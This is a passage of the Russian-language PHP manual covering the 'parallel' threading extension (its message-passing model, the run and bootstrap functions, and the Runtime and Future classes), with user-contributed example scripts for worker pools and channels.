Когда обычная модель инвертирована, это означает, что потоки совместно используют память только в результате обмена данными (например, переменная передаётся по каналу).

Когда parallel передаёт переменную из одного потока в другой любым способом - аргументами задачи, возвратом через Future и каналами - она передаётся по значению. Во всех случаях, кроме небуферизованных каналов, переменная также буферизуется, поэтому она не может измениться (или быть уничтожена) до того, как она будет использована в любом потоке, в который передаётся переменная. Небуферизованное чтение по каналу - единственный случай, когда поток непосредственно читает память, выделенную другим потоком, это можно сделать безопасно, потому что поток, владеющий памятью, ожидает завершения чтения, прежде чем он сможет продолжить управлять им, и поток, которому не принадлежит память, читает по значению. Когда оба потока продолжают работу, они больше не разделяют память.

Это значительно упрощает написание параллельного кода и рассуждения о нём по сравнению с традиционной моделью многопоточности. Это означает, что программисту не нужно учитывать, что потоки могут одновременно управлять данными, потому что это невозможно.

Это также делает PHP идеальной платформой для реализации API параллельного кода на основе CSP (передача сообщений по каналам), поскольку сам PHP ничего не разделяет - потоки PHP по умолчанию работают в собственном виртуальном адресном пространстве и поэтому могут совместно использовать память только путём обмена данными.

У данных должен быть окончательный единственный владелец

Приближаясь к модели CSP в первый раз, программист, разбирающийся в традиционной модели потоковой передачи, может обнаружить, что ищет параллельные структуры данных, потому что это то, что они тоже используют: они передают общие объекты для управления.

Когда дело доходит до модели CSP, нет необходимости в том, чтобы структуры данных совместно использовались многими задачами и действительно, это проще, если это не так. Данные должны принадлежать одной задаче, изменения (или операции) в этой структуре данных должны передаваться по каналам и выполняться владельцем данных, успешное выполнение, ошибка или результат (состояние) изменения (или операции) передаётся обратно.

Опять же, природа PHP ничего не разделяет и природа параллельного копирования по значению помогают программисту достичь этой цели, никакие данные не будут переданы случайно, только в результате обмена данными.

User Contributed Notes

There are no user contributed notes for this page.


Функциональный API

API parallel\Runtime обеспечивает высокую степень контроля для опытных программистов PHP и тех, кто хорошо знаком с написанием приложений, использующих параллельные процессы.

Функциональный API обеспечивает меньший контроль в обмен на возможность принимать решения для программиста:

  • все исполняемые среды выполнения загружаются одинаково

  • планирование определяется API, а не программистом

parallel\run() обеспечивает гарантию того, что задача начнёт выполняться параллельно, как только это разрешено ограничениями оборудования и операционной системы, без ненужного создания сред выполнения. Для большинства приложений следует отдавать предпочтение функциональному API.

Содержание

  • parallel\bootstrap — Начальная загрузка
  • parallel\run — Выполнение

User Contributed Notes

gajowy at agzeta dot pl 30-Jan-2023 01:53
Consider cost of bootstraping. In the parallel\Runtime API the bootstrap routine is executed each time "new Runtime()" is called. So if you create e.g. 8 Runtimes, the bootstrap code will be executed 8 times and it does not depend on the number of Futures. On the other hand, in the case of Functional API each "parallel\run()" causes the boostrap code to be called again. This can be painfull if your tasks environement is complex (eg. huge datasets that need to be prepared in advance and thausends of relatively small tasks).


Начальная загрузка

  • « Функциональный API
  • parallel\run »
  • PHP Manual
  • Функциональный API
  • Начальная загрузка

parallel\bootstrap

(1.0.0)

parallel\bootstrap — Начальная загрузка

Описание

parallel\bootstrap(string $file): void

Должен использовать предоставленный file для начальной загрузки всех сред выполнения, созданных для автоматического планирования с помощью parallel\run().

Список параметров

file

Путь к файлу для начальной загрузки всех сред выполнения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Внимание

Выбрасывает parallel\Runtime\Error\Bootstrap, если этот процесс уже был ранее вызван.

Внимание

Выбрасывает parallel\Runtime\Error\Bootstrap, если вызывается после parallel\run().

Смотрите также

  • parallel\Runtime::run

User Contributed Notes

There are no user contributed notes for this page.


Выполнение

  • « parallel\bootstrap
  • parallel\Runtime »
  • PHP Manual
  • Функциональный API
  • Выполнение

parallel\run

(1.0.0)

parallel\run — Выполнение

Описание

parallel\run(Closure $task): ?Future

Планирует task для выполнения в parallel.

parallel\run(Closure $task, array $argv): ?Future

Планирует task для выполнения в parallel, передавая argv во время выполнения.

Автоматическое планирование

Если \parallel\Runtime внутренне созданный и кешированный предыдущим вызовом parallel\run() бездействует, он будет использоваться для выполнения задачи. Если ни один \parallel\Runtime не бездействует, parallel создаст и сохранит в кеш \parallel\Runtime.

Замечание:

Объекты \parallel\Runtime, созданные программистом, не используются для автоматического планирования.

Список параметров

task

Замыкание (Closure) со специфическими характеристиками.

argv

Массив (array) аргументов с конкретными характеристиками, которые будут переданы task во время выполнения.

Характеристики задачи

Замыкания, запланированные для параллельного выполнения, не должны:

  • принимать или возвращать значения по ссылке
  • принимать или возвращать внутренние объекты (смотрите примечания)
  • выполнять ограниченный набор инструкций

В замыканиях, предназначенных для параллельного выполнения, запрещены следующие инструкции:

  • yield
  • use by-reference
  • declare class
  • declare named function

Замечание:

Вложенные замыкания могут использовать yield или передачу значения по ссылке, но не должны содержать объявления классов или именованных функций.

Замечание:

Никакие инструкции не запрещены в файлах, которые может включать задача.

Аргументы характеристик

Аргументы не должны:

  • содержать ссылки
  • содержать ресурсы
  • содержать внутренние объекты (смотрите примечания)

Замечание:

В случае ресурсов файлового потока ресурс будет преобразован в файловый дескриптор и передан как целое число (int), где это возможно, не поддерживается в Windows.

Примечания к внутренним объектам

Внутренние объекты обычно используют настраиваемую структуру, которую нельзя безопасно скопировать по значению, в PHP в настоящее время отсутствует механизм для этого (без сериализации), и поэтому могут использоваться только объекты, которые не используют настраиваемую структуру.

Некоторые внутренние объекты не используют настраиваемую структуру, например, parallel\Events\Event и поэтому могут использоваться совместно.

Замыкания - это особый вид внутреннего объекта, который поддерживает копирование по значению, поэтому может использоваться совместно.

Каналы играют ключевую роль в написании параллельного кода и при необходимости поддерживают одновременный доступ и выполнение, поэтому могут использоваться совместно.

Внимание

Пользовательский класс, расширяющий внутренний класс, может использовать настраиваемую структуру, определённую внутренним классом, и в этом случае они не могут быть безопасно скопированы по значению и поэтому не могут использоваться совместно.

Возвращаемые значения

Внимание

Нельзя игнорировать возвращаемый parallel\Future, если задача содержит оператор return или throw.

Исключения

Внимание

Выбрасывает parallel\Runtime\Error\Closed, если parallel\Runtime был закрыт.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalFunction, если task является замыканием, созданным из внутренней функции.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalInstruction, если task содержит недопустимые инструкции.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalParameter, если task принимает или argv содержит недопустимые переменные.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalReturn, если task возвращается некорректно.

Смотрите также

  • parallel\Runtime::run

User Contributed Notes

Thierry Kauffmann 12-Nov-2021 10:07
<?php

/**
 * Sample parralel functional API
 * using a generator instead of a static list of items to process
 *
 * Items to process in parallel come from a generator
 * It could be anything : e.g fetch a mysql array, a DirectoryIterator...
 * Thus the number of items to process in parallel is NOT known in advance
 *
 * This algorithm attributes items to each parallel thread dynamically
 * As soon as a thread has finished working
 * It is assigned a new item to process
 * until all items are processed (generator closes)
 *
 * In this example we process 50 items in 5 parallel threads
 * It produces output in this form (output changes at each run) :
 *
 * ThreadId: 1 => Item: 1 (Start)
 * ThreadId: 2 => Item: 2 (Start)
 * ThreadId: 3 => Item: 3 (Start)
 * ThreadId: 4 => Item: 4 (Start)
 * ThreadId: 5 => Item: 5 (Start)
 * ThreadId: 5 => Item: 5 Sleep: 3s (End)
 * ThreadId: 5 => Item: 6 (Start)
 * ThreadId: 3 => Item: 3 Sleep: 4s (End)
 * ThreadId: 3 => Item: 7 (Start)
 * ThreadId: 2 => Item: 2 Sleep: 6s (End)
 * ThreadId: 2 => Item: 8 (Start)
 * ...
 * ThreadId: 4 => Item: 44 Sleep: 6s (End)
 * ThreadId: 4 => Item: 49 (Start)
 * ThreadId: 3 => Item: 46 Sleep: 5s (End)
 * ThreadId: 3 => Item: 50 (Start)
 * ThreadId: 2 => Item: 43 Sleep: 9s (End)
 * Destroy ThreadId: 2
 * ThreadId: 1 => Item: 47 Sleep: 5s (End)
 * Destroy ThreadId: 1
 * ThreadId: 4 => Item: 49 Sleep: 7s (End)
 * Destroy ThreadId: 4
 * ThreadId: 5 => Item: 48 Sleep: 10s (End)
 * Destroy ThreadId: 5
 * ThreadId: 3 => Item: 50 Sleep: 10s (End)
 * Destroy ThreadId: 3
 */

use \parallel\{Runtime, Future, Channel, Events};

// Generate list of items to process with a generator
function generator(int $item_count) {
    for ($i=1; $i <= $item_count; $i++) {
        yield $i;
    }
}

function testConcurrency(int $concurrency, int $item_count) {

    $generator = generator($item_count);

    // Function executing in each thread. Have a snap for a random time for example !
    $producer = function (int $item_id) {
        $seconds = rand(1, 10);
        sleep($seconds);
        return ['item_id' => $item_id, 'sleep_seconds' => $seconds];
    };

    // Fill up threads with initial 'inactive' state
    $threads = array_fill(1, $concurrency, ['is_active' => false]);

    while (true) {
        // Loop through threads until all threads are finished
        foreach ($threads as $thread_id => $thread) {
            if (!$thread['is_active'] and $generator->valid()) {
                // Thread is inactive and generator still has values : run something in the thread
                $item_id = $generator->current();
                $threads[$thread_id]['run'] = \parallel\run($producer, [$item_id]);
                echo "ThreadId: $thread_id => Item: $item_id (Start)\n";
                $threads[$thread_id]['is_active'] = true;
                $generator->next();
            } elseif (!isset($threads[$thread_id]['run'])) {
                // Destroy supplementary threads in case generator closes sooner than number of threads
                echo "Destroy ThreadId: $thread_id\n";
                unset($threads[$thread_id]);
            } elseif ($threads[$thread_id]['run']->done()) {
                // Thread finished. Get results
                $item = $threads[$thread_id]['run']->value();
                echo "ThreadId: $thread_id => Item: {$item['item_id']} Sleep: {$item['sleep_seconds']}s (End)\n";

                if (!$generator->valid()) {
                    // Generator is closed then destroy thread
                    echo "Destroy ThreadId: $thread_id\n";
                    unset($threads[$thread_id]);
                } else {
                    // Thread is ready to run again
                    $threads[$thread_id]['is_active'] = false;
                }
            }
        }

        // Escape loop when all threads are destroyed
        if (empty($threads)) break;
    }
}

$concurrency = 5;
$item_count = 50;

testConcurrency($concurrency, $item_count);

?>
anonymous user 07-Feb-2021 02:49
Although function declaration is not allowed inside thread exec code, include is allowed. So if we want to declare a function, we could write another file that contain the function and include it.
# main.php
<?php
$runtime = new parallel\Runtime ();
$future = $runtime->run ( function () {
    $future = $runtime->run ( function () {
        include "included.php";
        return add (1, 3);
    }, [ ] );
echo $future->value ();
# output: 4
# included.php
<?php
function add($a, $b){
    return $a + $b;
}
john_2885 at yahoo dot com 20-Feb-2020 05:35
Here's a more substantial example of how to use the run functional API.

<?php
/*********************************************
 * Sample parallel functional API
 *
 * Scenario
 * -------------------------------------------
 * Given a large number of rows of
 * data to process, divide the work amongst
 * a set of workers.  Each worker is responsible
 * for finishing their assigned task.
 *
 * In the code below, assume we have arbitrary
 * start and end IDs (rows) - we will try to
 * divide the number of IDs (rows) evenly
 * across 8 workers.  The workers will get the
 * following batches to process to completion:
 *
 * Total number of IDs (rows): 1371129
 * Each worker will get 171392 IDs to process
 *
 * Worker 1: IDs from 11001 to 182393
 * Worker 2: IDs from 182393 to 353785
 * Worker 3: IDs from 353785 to 525177
 * Worker 4: IDs from 525177 to 696569
 * Worker 5: IDs from 696569 to 867961
 * Worker 6: IDs from 867961 to 1039353
 * Worker 7: IDs from 1039353 to 1210745
 * Worker 8: IDs from 1210745 to 1382130
 *
 * Each worker then processes 5000 rows at a time
 * until they are done with their assigned work
 *
 *********************************************/

use \parallel\{Runtime, Future, Channel, Events};

$minId = 11001;
$maxId = 1382130;
$workers = 8;
$totalIds = $maxId - $minId;
// Try to divide IDs evenly across the number of workers
$batchSize = ceil($totalIds / $workers);
// The last batch gets whatever is left over
$lastBatch = $totalIds % $batchSize;
// The number of IDs (rows) to divide the overall
// task into sub-batches
$rowsToFetch = 5000;

print "Total IDs: " . $totalIds . "\n";
print "Batch Size: " . $batchSize . "\n";
print "Last Batch: " . $lastBatch . "\n";

$producer = function(int $worker, int $startId, int $endId, int $fetchSize) {
    $tempMinId = $startId;
    $tempMaxId = $tempMinId + $fetchSize;
    $fetchCount = 1;

    print "Worker " . $worker . " working on IDs from " . $startId . " to " . $endId . "\n";

    while($tempMinId < $endId) {
        for($i = $tempMinId; $i < $tempMaxId; $i++) {
            $usleep = rand(500000, 1000000);
            usleep($usleep);
            print "Worker " . $worker .  " finished batch " . $fetchCount . " from ID " . $tempMinId . " to " . $tempMaxId . "\n";
            // Need to explicitly break out of the for loop once complete or else it will forever process only the first sub-batch
            break;
        }

        // Now we move on to the next sub-batch for this worker
        $tempMinId = $tempMaxId;
        $tempMaxId = $tempMinId + $fetchSize;
        if($tempMaxId > $endId) {
            $tempMaxId = $endId;
        }
        // Introduce some timing randomness
        $sleep = rand(1,5);
        sleep($sleep);
        $fetchCount++;
    }

    // This worker has completed their entire batch
    print "Worker " . $worker .  " finished\n";

};

// Create our workers and have them start working on their task
// In this case, it's a set of 171392 IDs to process
for($i = 0; $i < $workers; $i++) {
    $startId = $minId + ($i * $batchSize);
    $endId = $startId + $batchSize;
    if($i == ($workers - 1)) {
        $endId = $maxId;
    }
    \parallel\run($producer, array(($i+1), $startId, $endId, $rowsToFetch));
}

?>


Класс parallel\Runtime

(0.8.0)

Объекты во временя выполнения

Каждая среда выполнения представляет собой один поток PHP, поток создаётся (и загружается) при создании. Затем поток ожидает, пока задачи будут запланированы: запланированные задачи будут выполняться FIFO, а затем поток возобновит ожидание, пока не будут запланированы другие задачи или пока он не будет закрыт, убит или уничтожен в соответствии с обычными правилами области видимости объектов PHP.

Внимание

Когда среда выполнения уничтожается обычными правилами области видимости объектов PHP, она сначала выполняет все запланированные задачи и при этом блокирует добавление новых.

Начальная загрузка во время выполнения

Когда создаётся новая среда выполнения, она не разделяет код с потоком (или процессом), который её создал. Это означает, что в нём не загружены те же классы и функции, а также не установлен один и тот же автозагрузчик. В некоторых случаях желательна очень лёгкая среда выполнения, потому что задачи, которые будут запланированы, не нуждаются в доступе к коду в родительском потоке. В тех случаях, когда задачам нужен доступ к одному и тому же коду, достаточно установить автозагрузчик в качестве начальной загрузки.

Замечание:

Предварительная загрузка может использоваться вместе с параллельной, в этом случае предварительно загруженный код доступен без начальной загрузки.

Обзор классов

final class parallel\Runtime {
/* Создание */
public __construct()
public __construct(string $bootstrap)
/* Выполнение */
public run(Closure $task): ?Future
public run(Closure $task, array $argv): ?Future
/* Присоединение */
public close(): void
public kill(): void
}

Содержание

  • parallel\Runtime::__construct — Конструктор класса Runtime
  • parallel\Runtime::run — Выполнение
  • parallel\Runtime::close — Изящное соединение во время выполнения
  • parallel\Runtime::kill — Соединение во время выполнения

User Contributed Notes

Mikhail Streltsov (admin at my-fantasy dot ru) 22-Jul-2023 03:48
new Runtime()  will reset some basic (before number 10+-) Linux signal.

If you already set handle of signal by pcntl_signal function - you need do it again
gam6itko 10-Sep-2021 05:54
<?php

// make sure that is really parallel execution (showcase2).
// Then you use echo within task-function there is a real chance that the application will hang.
// We should control Futures to avoid this behaviour.
// You will get different output on each execution.

use parallel\{Future, Runtime};

const THREADS_COUNT = 10;
const THREADS_I_MAX = 100;

// executed within thread
$task = static function (int $i, int $to): void {
    echo "[enter$i]";
    for ($j = 0; $j < $to; $j++) {
        echo $i;
    }
    echo "[exit$i]";
};

// creating a few threads
$runtimeList = [];
for ($i = 0; $i < THREADS_COUNT; $i++) {
    $runtimeList[] = new Runtime();
}
// run all threads
$futureList = [];
foreach ($runtimeList as $i => $runtime) {
    echo "[run$i]";
    $futureList[] = $runtime->run($task, [$i, THREADS_I_MAX]);
}

// waiting until all threads are done
// if you delete code bellow then your script will hang
do {
    usleep(1);
    $allDone = array_reduce(
        $futureList,
        function (bool $c, Future $future): bool {
            return $c && $future->done();
        },
        true
    );
} while (false === $allDone);
echo "done\n";
gam6itko 10-Sep-2021 04:58
<?php

// make sure that is really parallel execution
// you will get different output on each script run

use parallel\{Channel, Runtime};

const THREADS_COUNT = 5;
const THREADS_I_MAX = 10;

$ch = new Channel();

// executed within thread
$task = static function (Channel $ch, int $i, int $to): void {
    echo "[enter: $i]\n";
    for ($j = 0; $j < $to; $j++) {
        $ch->send($i);
    }
    echo "[exit: $i]\n";
};

// creating a few threads
$runtimeList = [];
for ($i = 0; $i < THREADS_COUNT; $i++) {
    $runtimeList[] = new Runtime();
}
// run all threads
foreach ($runtimeList as $i => $runtime) {
    echo "[run: $i]\n";
    $runtime->run($task, [$ch, $i, THREADS_I_MAX]);
}

// reading messages from channel
$queue = '';
for ($i = 0; $i < THREADS_COUNT * THREADS_I_MAX; $i++) {
    $queue .= $ch->recv();
}
$ch->close();

echo $queue . PHP_EOL;
Luciano Vettoretti 25-Nov-2019 08:27
basic-multithreading-test.php

<?php
use parallel\Runtime;
use parallel\Channel;

$test = "this var is not accesible in a thread";

// this function will be the threads
$thread_function = function (int $id, Channel $ch) {
    // delay the first thread to simulate better multithreading
    // second thread always finishes first
    $sleep = ($id == 2) ? 1 : 2;
    sleep($sleep);

    // print thread id
    // so it's clear second thread goes first
    // and also you can make sure multithreading is working
    var_dump("thread $id sleep $sleep");

    // try to capture globals, but it's not possible
    echo '$GLOBALS["test"] = ';
    @var_dump($GLOBALS["test"]);

    // the only way to share data is between channels
    $ch->send($sleep);
};

try {
    // each runtime represents a thread
    $r1 = new Runtime();
    $r2 = new Runtime();

    // channel where the date will be sharead
    $ch1 = new Channel();

    // args that will be sent to $thread_function
    $args = array();
    $args[0] = null;
    $args[1] = $ch1;

    // running thread 1
    $args[0] = 1;
    $r1->run($thread_function, $args);

    // running thread 2
    $args[0] = 2;
    $r2->run($thread_function, $args);

    // receive data from channel
    $x = $ch1->recv();
    $y = $ch1->recv();

    // close channel
    $ch1->close();

    echo "\nData received by the channel: $x and $y";
} catch (Error $err) {
    echo "\nError:", $err->getMessage();
} catch (Exception $e) {
    echo "\nException:", $e->getMessage();
}


Конструктор класса Runtime

  • « parallel\Runtime
  • parallel\Runtime::run »
  • PHP Manual
  • parallel\Runtime
  • Конструктор класса Runtime

parallel\Runtime::__construct

(0.8.0)

parallel\Runtime::__construct — Конструктор класса Runtime

Описание

public parallel\Runtime::__construct()

Создаёт новую среду выполнения без начальной загрузки.

public parallel\Runtime::__construct(string $bootstrap)

Создаёт новую среду выполнения с начальной загрузкой.

Список параметров

bootstrap

Расположение файла начальной загрузки, обычно это автозагрузчик.

Ошибки

Внимание

Выбрасывает parallel\Runtime\Error, если поток не может быть создан.

Внимание

Выбрасывает parallel\Runtime\Bootstrap, если начальная загрузка завершилась с ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Выполнение

  • « parallel\Runtime::__construct
  • parallel\Runtime::close »
  • PHP Manual
  • parallel\Runtime
  • Выполнение

parallel\Runtime::run

(0.8.0)

parallel\Runtime::run — Выполнение

Описание

public parallel\Runtime::run(Closure $task): ?Future

Планирует параллельное выполнение task.

public parallel\Runtime::run(Closure $task, array $argv): ?Future

Планирует параллельное выполнение task, передавая argv во время выполнения.

Список параметров

task

Замыкание (Closure) со специфическими характеристиками.

argv

Массив (array) аргументов с конкретными характеристиками, которые будут переданы task во время выполнения.

Характеристики задачи

Замыкания, запланированные для параллельного выполнения, не должны:

  • принимать или возвращать значения по ссылке
  • принимать или возвращать внутренние объекты (смотрите примечания)
  • выполнять ограниченный набор инструкций

В замыканиях, предназначенных для параллельного выполнения, запрещены следующие инструкции:

  • yield
  • use by-reference
  • declare class
  • declare named function

Замечание:

Вложенные замыкания могут использовать yield или передачу значения по ссылке, но не должны содержать объявления классов или именованных функций.

Замечание:

Никакие инструкции не запрещены в файлах, которые может включать задача.

Аргументы характеристик

Аргументы не должны:

  • содержать ссылки
  • содержать ресурсы
  • содержать внутренние объекты (смотрите примечания)

Замечание:

В случае ресурсов файлового потока ресурс будет преобразован в файловый дескриптор и передан как целое число (int), где это возможно, не поддерживается в Windows.

Примечания к внутренним объектам

Внутренние объекты обычно используют настраиваемую структуру, которую нельзя безопасно скопировать по значению, в PHP в настоящее время отсутствует механизм для этого (без сериализации), и поэтому могут использоваться только объекты, которые не используют настраиваемую структуру.

Некоторые внутренние объекты не используют настраиваемую структуру, например, parallel\Events\Event и поэтому могут использоваться совместно.

Замыкания - это особый вид внутреннего объекта, который поддерживает копирование по значению, поэтому может использоваться совместно.

Каналы играют ключевую роль в написании параллельного кода и при необходимости поддерживают одновременный доступ и выполнение, поэтому могут использоваться совместно.

Внимание

Пользовательский класс, расширяющий внутренний класс, может использовать настраиваемую структуру, определённую внутренним классом, и в этом случае они не могут быть безопасно скопированы по значению и поэтому не могут использоваться совместно.

Возвращаемые значения

Внимание

Нельзя игнорировать возвращаемый parallel\Future, если задача содержит оператор return или throw.

Исключения

Внимание

Выбрасывает parallel\Runtime\Error\Closed, если parallel\Runtime был закрыт.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalFunction, если task является замыканием, созданным из внутренней функции.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalInstruction, если task содержит недопустимые инструкции.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalParameter, если task принимает или argv содержит недопустимые переменные.

Внимание

Выбрасывает parallel\Runtime\Error\IllegalReturn, если task возвращается некорректно.

User Contributed Notes

There are no user contributed notes for this page.


Изящное соединение во время выполнения

  • « parallel\Runtime::run
  • parallel\Runtime::kill »
  • PHP Manual
  • parallel\Runtime
  • Изящное соединение во время выполнения

parallel\Runtime::close

(0.8.0)

parallel\Runtime::close — Изящное соединение во время выполнения

Описание

public parallel\Runtime::close(): void

Запрашивает завершение работы среды выполнения.

Замечание:

Запланированные к выполнению задачи будут выполнены до завершения работы.

Ошибки

Внимание

Выбрасывает parallel\Runtime\Error\Closed, если Runtime уже был закрыт.

User Contributed Notes

andre at webtechnik dot ch 01-Jun-2021 06:45
This is a simple test to show how close and kill works.

<?php
/**
 * Test close and kill
 * - main thread writes to main.log
 * - second thread writes to thread.log and shutdown.log
 * - main thread runs 10 seconds, second thread runs 20 seconds
 * - close will wait until second thread stops
 * - kill don't waits and kill immediately the second thread
 */

// main thread
logToFile("start");

// create a second thread
$thread = new parallel\Runtime();
$thread->run(function(){

    // what to do if thread shuts down
    register_shutdown_function ( function(){file_put_contents("shutdown.log",date('Y-m-d H:i:s') . "\t last will");} );

    // loop and count for 20 seconds
    $c=0;
    while ($c++ < 20){
        sleep(1);
        echo $c."|";
        file_put_contents("thread.log",date('Y-m-d H:i:s') . "\t" . $c.PHP_EOL, FILE_APPEND);
    }
});

// sleep 10 seconds
sleep(10);

// mainthread kills thread immediately
//$thread->kill();

// mainthread waits on thread
$thread->close();

logToFile("end");

function logToFile($msg){
    echo PHP_EOL.$msg.PHP_EOL;
    file_put_contents("main.log",date('Y-m-d H:i:s') . "\t" . $msg.PHP_EOL, FILE_APPEND);
}
?>


Соединение во время выполнения

  • « parallel\Runtime::close
  • parallel\Future »
  • PHP Manual
  • parallel\Runtime
  • Соединение во время выполнения

parallel\Runtime::kill

(0.8.0)

parallel\Runtime::kill — Соединение во время выполнения

Описание

public parallel\Runtime::kill(): void

Пытается принудительно завершить работу среды выполнения.

Замечание:

Запланированные к выполнению задачи не будут выполнены, текущая задача будет прервана.

Внимание

Выполняющиеся внутренние вызовы функций не могут быть прерваны.

Ошибки

Внимание

Выбрасывает parallel\Runtime\Error\Closed, если Runtime уже был закрыт.

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Future

(0.8.0)

Объекты Future

Future представляет возвращаемое значение или неперехваченное исключение из задачи и предоставляет API для отмены.

Пример #1 Пример, показывающий Future как возвращаемое значение

<?php
$runtime = new \parallel\Runtime;
$future = $runtime->run(function(){
return "Мир";
});
printf("Привет, %s\n", $future->value());
?>

Результатом выполнения данного примера будет что-то подобное:

Привет, Мир

Поведение Future также позволяет использовать его в качестве простой точки синхронизации, даже если задача не возвращает значение явно.

Пример #2 Пример, показывающий Future как точку синхронизации

<?php
$runtime = new \parallel\Runtime;
$future = $runtime->run(function(){
echo "в дочернем потоке ";
for ($i = 0; $i < 500; $i++) {
if ($i % 10 == 0) {
echo ".";
}
}
echo " выход из дочернего потока";
});

$future->value();
echo "\nродительский поток продолжает работать\n";
?>

Результатом выполнения данного примера будет что-то подобное:

в дочернем потоке .................................................. выход из дочернего потока
родительский поток продолжает работать

Обзор классов

final class parallel\Future {
/* Разрешение */
public value(): mixed
/* Состояние */
public cancelled(): bool
public done(): bool
/* Отмена */
public cancel(): bool
}

Содержание

  • parallel\Future::cancel — Прекращение
  • parallel\Future::cancelled — Определение состояния
  • parallel\Future::done — Определение состояния
  • parallel\Future::value — Разрешение

User Contributed Notes

Thierry Kauffmann 12-Nov-2021 02:37
<?php

/**
 * Sample parallel Runtime/Future processing
 * using a generator to produce the list of items to process
 *
 * Items to process in parallel come from a generator
 * It could be anything : e.g fetch a mysql array, a DirectoryIterator...
 * Thus the number of items to process in parallel is NOT known in advance
 *
 * This algorithm attributes items to each parallel thread dynamically
 * As soon as a thread has finished working
 * It is assigned a new item to process
 * until all items are processed (generator closes)
 *
 * In this example we process 50 items in 5 parallel threads
 * It produces output in this form (output changes at each run) :
 *
 * ThreadId: 1 => Item: 1 (Start)
 * ThreadId: 2 => Item: 2 (Start)
 * ThreadId: 3 => Item: 3 (Start)
 * ThreadId: 4 => Item: 4 (Start)
 * ThreadId: 5 => Item: 5 (Start)
 * ThreadId: 5 => Item: 5 Sleep: 3s (End)
 * ThreadId: 5 => Item: 6 (Start)
 * ThreadId: 3 => Item: 3 Sleep: 4s (End)
 * ThreadId: 3 => Item: 7 (Start)
 * ThreadId: 2 => Item: 2 Sleep: 6s (End)
 * ThreadId: 2 => Item: 8 (Start)
 * ...
 * ThreadId: 4 => Item: 44 Sleep: 6s (End)
 * ThreadId: 4 => Item: 49 (Start)
 * ThreadId: 3 => Item: 46 Sleep: 5s (End)
 * ThreadId: 3 => Item: 50 (Start)
 * ThreadId: 2 => Item: 43 Sleep: 9s (End)
 * Destroy ThreadId: 2
 * ThreadId: 1 => Item: 47 Sleep: 5s (End)
 * Destroy ThreadId: 1
 * ThreadId: 4 => Item: 49 Sleep: 7s (End)
 * Destroy ThreadId: 4
 * ThreadId: 5 => Item: 48 Sleep: 10s (End)
 * Destroy ThreadId: 5
 * ThreadId: 3 => Item: 50 Sleep: 10s (End)
 * Destroy ThreadId: 3
 */

// Generate list of items to process with a generator
function generator(int $item_count) {
    echo "Item count: $item_count\n";
    for ($i=1; $i <= $item_count; $i++) {
        yield $i;
    }
}

function testConcurrency(int $concurrency, int $max_item_count) {

    // Set item_count to a random number so that each run is different
    $item_count= rand(1, $max_item_count);
    // Create generator
    $generator = generator($item_count);

    // Function executing in each thread. Have a snap for a random time for example !
    // You could make some calculation here or transfer files or whatever...
    $producer = function (int $item_id) {
        $seconds = rand(1, 10);
        sleep($seconds);
        return ['item_id' => $item_id, 'sleep_seconds' => $seconds];
    };

    // Fill up threads with a single future initialized to 'false' value
    for ($thread_id = 1; $thread_id <= $concurrency; $thread_id++) {
        $threads[$thread_id] = ['runtime' => new \parallel\Runtime(), 'future' => false];
    }

    // Create infinite loop for the whole processing
    while (true) {
        // Loop through threads until generator closes and all threads are destroyed
        foreach ($threads as $thread_id => &$thread) {
            if ($thread['future'] === false and $generator->valid()) {
                // Thread is inactive and generator still has values : run something in the thread
                $item_id = $generator->current();
                $thread['future'] = $thread['runtime']->run($producer, [$item_id]);
                echo "ThreadId: $thread_id => Item: $item_id (Start)\n";
                $generator->next();
            } elseif ($thread['future'] === false) {
                // Destroy thread in case generator is closed
                echo "Destroy ThreadId: $thread_id\n";
                unset($threads[$thread_id]);
            } elseif ($thread['future']->done()) {
                // Thread finished working. Get result value.
                $item = $thread['future']->value();
                echo "ThreadId: $thread_id => Item: {$item['item_id']} Sleep: {$item['sleep_seconds']}s (End)\n";
                // Thread is ready to run again
                $thread['future'] = false;
            }
        }

        // Escape infinite loop when all threads are destroyed
        if (empty($threads)) break;
    }
}

$concurrency = 5;
$item_count = 50;

testConcurrency($concurrency, $item_count);

?>


Прекращение

  • « parallel\Future
  • parallel\Future::cancelled »
  • PHP Manual
  • parallel\Future
  • Прекращение

parallel\Future::cancel

(0.9.0)

parallel\Future::cancel — Прекращение

Описание

public parallel\Future::cancel(): bool

Пытается прервать задание.

Замечание:

Если задача запущена, она будет прервана.

Внимание

Выполняющиеся внутренние вызовы функций не могут быть прерваны.

Исключения

Внимание

Выбрасывает parallel\Future\Error\Killed, если parallel\Runtime выполнение задачи было прервано.

Внимание

Выбрасывает parallel\Future\Error\Cancelled, если задача была уже прервана.

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « parallel\Future::cancel
  • parallel\Future::done »
  • PHP Manual
  • parallel\Future
  • Определение состояния

parallel\Future::cancelled

(0.9.0)

parallel\Future::cancelled — Определение состояния

Описание

public parallel\Future::cancelled(): bool

Указывает, была ли задача отменена.

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « parallel\Future::cancelled
  • parallel\Future::value »
  • PHP Manual
  • parallel\Future
  • Определение состояния

parallel\Future::done

(0.8.0)

parallel\Future::done — Определение состояния

Описание

public parallel\Future::done(): bool

Указывает, выполнена ли задача

User Contributed Notes

There are no user contributed notes for this page.


Разрешение

  • « parallel\Future::done
  • parallel\Channel »
  • PHP Manual
  • parallel\Future
  • Разрешение

parallel\Future::value

(0.8.0)

parallel\Future::value — Разрешение

Описание

public parallel\Future::value(): mixed

Возвращает (и при необходимости дожидается) возврата из задания.

Исключения

Внимание

Выбрасывает parallel\Future\Error, если ожидание не удалось (внутренняя ошибка).

Внимание

Выбрасывает parallel\Future\Error\Killed, если parallel\Runtime выполнение задачи было прервано.

Внимание

Выбрасывает parallel\Future\Error\Cancelled, если задача была отменена.

Внимание

Выбрасывает parallel\Future\Error\Foreign, если задача вызвала нераспознанное неперехваченное исключение.

Внимание

Выбрасывает Throwable, не пойманные в задаче.

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Channel

(0.9.0)

Небуферизованные каналы

